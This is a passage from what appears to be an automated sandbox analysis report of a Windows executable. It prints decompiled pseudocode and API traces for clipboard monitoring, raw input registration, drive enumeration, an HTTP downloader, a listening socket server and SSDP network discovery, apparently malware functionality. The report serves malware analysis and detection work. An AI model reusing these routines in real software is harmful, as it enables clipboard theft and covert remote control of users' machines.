									E00408C70(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}

0x004041b2
0x004041b8
0x004041c2
0x004041ed
0x0040421c
0x0040423a
0x0040424c
0x0040424c
0x0040421e
0x00404221
0x0040422e
0x0040422e
0x00000000
0x004041ef
0x004043d4
0x004043ed
0x004043ed
0x004041ed
0x004041cb
0x00404257
0x00404268
0x0040427d
0x00404292
0x00404294
0x00404294
0x0040427f
0x0040427f
0x0040427f
0x0040426a
0x0040426a
0x0040426a
0x0040429f
0x0040436f
0x00404373
0x00404385
0x00404385
0x004042b5
0x004042bf
0x004042c6
0x004042d7
0x004042de
0x004042e5
0x004042ef
0x004042f6
0x00404321
0x00404326
0x00404329
0x004042f8
0x004042fc
0x00404336
0x0040433b
0x0040433e
0x004042fe
0x00404302
0x0040430c
0x00404311
0x00404314
0x00404314
0x00404302
0x004042fc
0x00404345
0x0040434b
0x00404355
0x0040435b
0x00404367
0x0040436c
0x00000000
0x00404355
0x00000000
0x004042e0
0x004042c8
0x00000000
0x0040429f
0x004041d5
0x004041fe
0x0040420b
0x004041d7
0x004041db
0x0040438f
0x00404395
0x00404398
0x0040439b
0x004043a4
0x004043ad
0x004043b1
0x004043c0
0x004043ce
0x004043ce
0x004041db
0x00000000

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041AC
SetClipboardViewer.USER32(?), ref: 004041F8
SetWindowLongW.USER32(?,000000EB,?), ref: 0040420B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00404260
OpenClipboard.USER32(00000000), ref: 004042A7
GetClipboardData.USER32(00000000), ref: 004042B9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 004043C0
ChangeClipboardChain.USER32(?,?), ref: 004043CE
DefWindowProcA.USER32(?,?,?,?), ref: 004043E4

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction ID: 12af2944b2afbdd2840b1e0cc58b104c1e1997fab1ca1becb874473cf393234d
Opcode Fuzzy Hash: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction Fuzzy Hash: 927111B4A00208EFDF14DF94D948BEE77B4AF88305F14856AFA05B72D0D7799A40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C260 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0040C260(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408B60(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

0x0040c269
0x0040c273
0x0040c288
0x0040c28d
0x0040c290
0x0040c2a0
0x0040c2a6
0x0040c2b6
0x0040c2bc
0x0040c2d8
0x0040c2ee
0x0040c2fb
0x0040c327
0x0040c334
0x0040c35d
0x0040c36a
0x0040c387
0x0040c391
0x0040c446
0x0040c397
0x0040c397
0x0040c3a1
0x0040c3c1
0x0040c3d0
0x0040c3f9
0x0040c41a
0x0040c41f
0x0040c42e
0x00000000
0x0040c42e
0x00000000
0x0040c3d0
0x0040c442
0x0040c442
0x0040c391
0x0040c457
0x0040c457
0x0040c464
0x0040c464
0x0040c471
0x0040c471
0x0040c480

APIs

memset.NTDLL ref: 0040C288
InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
memcpy.NTDLL(00000000,?,00000000), ref: 0040C41A
InternetCloseHandle.WININET(00000000), ref: 0040C457
InternetCloseHandle.WININET(00000000), ref: 0040C464
InternetCloseHandle.WININET(00000000), ref: 0040C471

Strings

GET, xrefs: 0040C34B
<, xrefs: 0040C290

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction ID: fb11e20dfced737966d96b67562c2227f08ee783dca279ae1717ab20ae365a52
Opcode Fuzzy Hash: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction Fuzzy Hash: 44513EB1941228ABDB36CB50CC95BE973BCBB44705F0081E9A60DAA2C0D7B96FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004054A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E004054A0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8);
				GetModuleFileNameW(0, 0x4163c0, 0x104);
				_t34 = E0040D180(0x4163c0);
				_t69 = _t68 + 4;
				 *0x4163b8 = _t34;
				while(1 != 0) {
					_v8 = E00404CB0();
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404C50(_v8, _v12,  &_v24);
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040EE10();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404FC0( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0);
				}
				ExitThread(0);
			}

0x004054ae
0x004054c0
0x004054cb
0x004054d0
0x004054d3
0x004054d8
0x004054ea
0x004054ed
0x004054ff
0x00405515
0x0040551a
0x0040551d
0x00405523
0x00405530
0x0040555f
0x00405574
0x0040557a
0x0040557c
0x00405581
0x00405587
0x00405588
0x0040558e
0x0040558f
0x00405594
0x004055a2
0x004055a8
0x004055b4
0x004055c2
0x004055c8
0x004055c8
0x004055e5
0x0040560b
0x00405610
0x00405610
0x004054fc
0x004054fc
0x0040561d
0x0040561d
0x0040562a

APIs

Sleep.KERNEL32(000003E8), ref: 004054AE
GetModuleFileNameW.KERNEL32(00000000,004163C0,00000104), ref: 004054C0

Part of subcall function 0040D180: CreateFileW.KERNEL32(004054D0,80000000,00000001,00000000,00000003,00000000,00000000,004054D0), ref: 0040D1A0
Part of subcall function 0040D180: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D1B5
Part of subcall function 0040D180: CloseHandle.KERNEL32(000000FF), ref: 0040D1C2

ExitThread.KERNEL32 ref: 0040562A

Part of subcall function 00404CB0: GetLogicalDrives.KERNEL32 ref: 00404CB6
Part of subcall function 00404CB0: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404D04
Part of subcall function 00404CB0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
Part of subcall function 00404CB0: RegCloseKey.ADVAPI32(?), ref: 00404D4E

Sleep.KERNEL32(000007D0), ref: 0040561D

Part of subcall function 00404C50: lstrcpyW.KERNEL32(?,?), ref: 00404CA3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040555F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00405574
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040558F
wsprintfW.USER32 ref: 004055A2
wsprintfW.USER32 ref: 004055C2
wsprintfW.USER32 ref: 004055E5

Strings

Unnamed volume, xrefs: 004055B6
(%dGB), xrefs: 00405596
%s%s, xrefs: 004055D9

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction ID: 9bd4fa2fb620ac2810ea8b244f600aa7f59dc27fdf478d4548bf3fce0c8904cf
Opcode Fuzzy Hash: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction Fuzzy Hash: 0D418371900208BBE714DB94DC45FEE7778AB48700F1085AAF209B61D0DA799B84CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB00 Relevance: 16.6, APIs: 11, Instructions: 129
networkCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E0040EB00(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E00408B00(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350;
					GetSystemInfo( &_v36);
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040E0E0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040BAF0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1);
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1);
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040EA30, _t54, 0, 0);
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E400, _t54, 0, 0);
					return _t54;
				}
			}

0x0040eb06
0x0040eb0b
0x0040eb0d
0x0040eb12
0x0040ec8a
0x0040eb18
0x0040eb1d
0x0040eb23
0x0040eb29
0x0040eb2d
0x0040eb34
0x0040eb37
0x0040eb45
0x0040eb4b
0x0040eb50
0x0040ec7f
0x0040ec7f
0x00000000
0x0040ec84
0x0040eb5e
0x0040eb64
0x0040eb69
0x00000000
0x00000000
0x0040eb6f
0x0040eb74
0x0040eb79
0x00000000
0x00000000
0x0040eb8b
0x0040eb91
0x0040eb97
0x00000000
0x00000000
0x0040ebac
0x0040ebb1
0x0040ebbd
0x0040ebc1
0x0040ebc5
0x0040ebc9
0x0040ebce
0x0040ebd8
0x0040ebdd
0x0040ebe1
0x0040ebed
0x0040ebf2
0x0040ebf7
0x0040ec00
0x00000000
0x00000000
0x0040ec0f
0x0040ec18
0x00000000
0x00000000
0x0040ec1a
0x0040ec20
0x0040ec25
0x00000000
0x00000000
0x0040ec2e
0x0040ec37
0x00000000
0x00000000
0x0040ec3a
0x0040ec3f
0x0040ec41
0x0040ec51
0x0040ec56
0x0040ec57
0x0040ec5a
0x0040ec41
0x0040ec6f
0x0040ec7e
0x0040ec7e

APIs

GetSystemInfo.KERNEL32(?), ref: 0040EB23
InitializeCriticalSection.KERNEL32(00000020), ref: 0040EB37
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EB45
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EB5E

Part of subcall function 0040BAF0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040BB0E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EB8B
setsockopt.WS2_32 ref: 0040EBB1
htons.WS2_32(?), ref: 0040EBE1
bind.WS2_32(?,00000004,00000010), ref: 0040EBF7
listen.WS2_32(?,7FFFFFFF), ref: 0040EC0F
WSACreateEvent.WS2_32 ref: 0040EC1A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EC2E

Part of subcall function 0040BBA0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4
Part of subcall function 0040BBA0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
Part of subcall function 0040BBA0: DuplicateHandle.KERNEL32(00000000), ref: 0040BC6E
Part of subcall function 0040BBA0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: f5c8a733228a7b3742c1c3b1f999116d73948f9746cd990c91c1e4c648286908
Instruction ID: 55e3d3791406c7558891e3ce563330e9b7b343d865a5bfb51454dd4e2dcce5d3
Opcode Fuzzy Hash: f5c8a733228a7b3742c1c3b1f999116d73948f9746cd990c91c1e4c648286908
Instruction Fuzzy Hash: 65419270644302BBE3209F758C4AF46B7A5BF44710F108A2AF568E62D0E7B5E454CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C580 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
htons.WS2_32(0000076C), ref: 0040C5D0
inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD

Part of subcall function 00409540: htons.WS2_32(00000050), ref: 0040956D
Part of subcall function 00409540: socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
Part of subcall function 00409540: connect.WS2_32(000000FF,?,00000010), ref: 004095A6
Part of subcall function 00409540: getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

bind.WS2_32(000000FF,?,00000010), ref: 0040C633
lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040C490: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Part of subcall function 0040C490: Sleep.KERNEL32(000003E8), ref: 0040C4EE
Part of subcall function 0040C490: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
Part of subcall function 0040C490: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
Part of subcall function 0040C490: StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

239.255.255.250, xrefs: 0040C5DA

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 3abddafc972960b7a34b09499d5804bac4f0b45d7085fcd8f09acaffb4ecffc4
Instruction ID: 76d768ee63a1ab765bf53bd3b80837b0909e15b9bb20e5c949896882321ca4fe
Opcode Fuzzy Hash: 3abddafc972960b7a34b09499d5804bac4f0b45d7085fcd8f09acaffb4ecffc4
Instruction Fuzzy Hash: 3C4106B4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290E7B55A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8A0 Relevance: 9.1, APIs: 6, Instructions: 77
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040D8A0(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E00408B00(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30);
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DD00(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1);
					__imp__#2( *(_t31 + 8),  &_v52, 0x10);
					if(_t25 != 0xffffffff) {
						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						 *((intOrPtr*)(_t31 + 0x14)) = CreateThread(0, 0, E0040DAD0, _t31, 0, 0);
						goto L8;
					}
					E0040DD00(_t31, _t38);
					return 0;
				}
			}

0x0040d8a0
0x0040d8a0
0x0040d8a8
0x0040d994
0x0040d8b6
0x0040d8c5
0x0040d8cb
0x0040d8d1
0x0040d8d8
0x0040d8e4
0x0040d8e7
0x0040d8ed
0x0040d8f3
0x0040d8f5
0x0040d8fa
0x0040d8fa
0x0040d8fe
0x0040d98e
0x00000000
0x0040d990
0x0040d906
0x0040d90a
0x0040d90e
0x0040d912
0x0040d917
0x0040d921
0x0040d925
0x0040d92a
0x0040d939
0x0040d93e
0x0040d943
0x0040d94c
0x0040d95d
0x0040d966
0x0040d982
0x0040d98b
0x00000000
0x0040d98b
0x0040d968
0x0040d973
0x0040d973

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D8D8
socket.WS2_32(00000002,00000002,00000011), ref: 0040D8E7
htons.WS2_32(00009E34), ref: 0040D92A
setsockopt.WS2_32(?,0000FFFF), ref: 0040D94C
bind.WS2_32(?,00000004,00000010), ref: 0040D95D

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,0040DAD0,00000000,00000000,00000000), ref: 0040D985

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 05ebf89ae4aef0f9de86e26819af3cc3888251010e7b9e55e68cfc395c831c9e
Instruction ID: 030b81ab5cfdece744e4193ec97e607ba68bdf4ca273294f478105adee985cb3
Opcode Fuzzy Hash: 05ebf89ae4aef0f9de86e26819af3cc3888251010e7b9e55e68cfc395c831c9e
Instruction Fuzzy Hash: A721A1B4A44301AFE710DFA48C8AB577AA0EF44710F50857AFA54DA2C1D7F4C9488B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B540 Relevance: 9.1, APIs: 6, Instructions: 67
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B540(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16);
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0);
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1);
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}

0x0040b549
0x0040b550
0x0040b55b
0x0040b55b
0x0040b561
0x0040b564
0x0040b564
0x0040b574
0x0040b578
0x0040b581
0x00000000
0x00000000
0x0040b589
0x0040b591
0x0040b59e
0x0040b593
0x0040b596
0x0040b596
0x0040b5ab
0x0040b5af
0x0040b5b5
0x0040b5bc
0x0040b5c2
0x0040b5cd
0x0040b5cd
0x0040b5d6
0x0040b5df
0x0040b5df
0x0040b5bc
0x0040b5e4
0x0040b5f3
0x0040b5ff
0x0040b60b
0x00000000
0x00000000
0x00000000
0x0040b5f3
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040B552
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B578
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B5AF
GetTickCount.KERNEL32 ref: 0040B5C4
Sleep.KERNEL32(00000001), ref: 0040B5E4
GetTickCount.KERNEL32 ref: 0040B5EA

Memory Dump Source

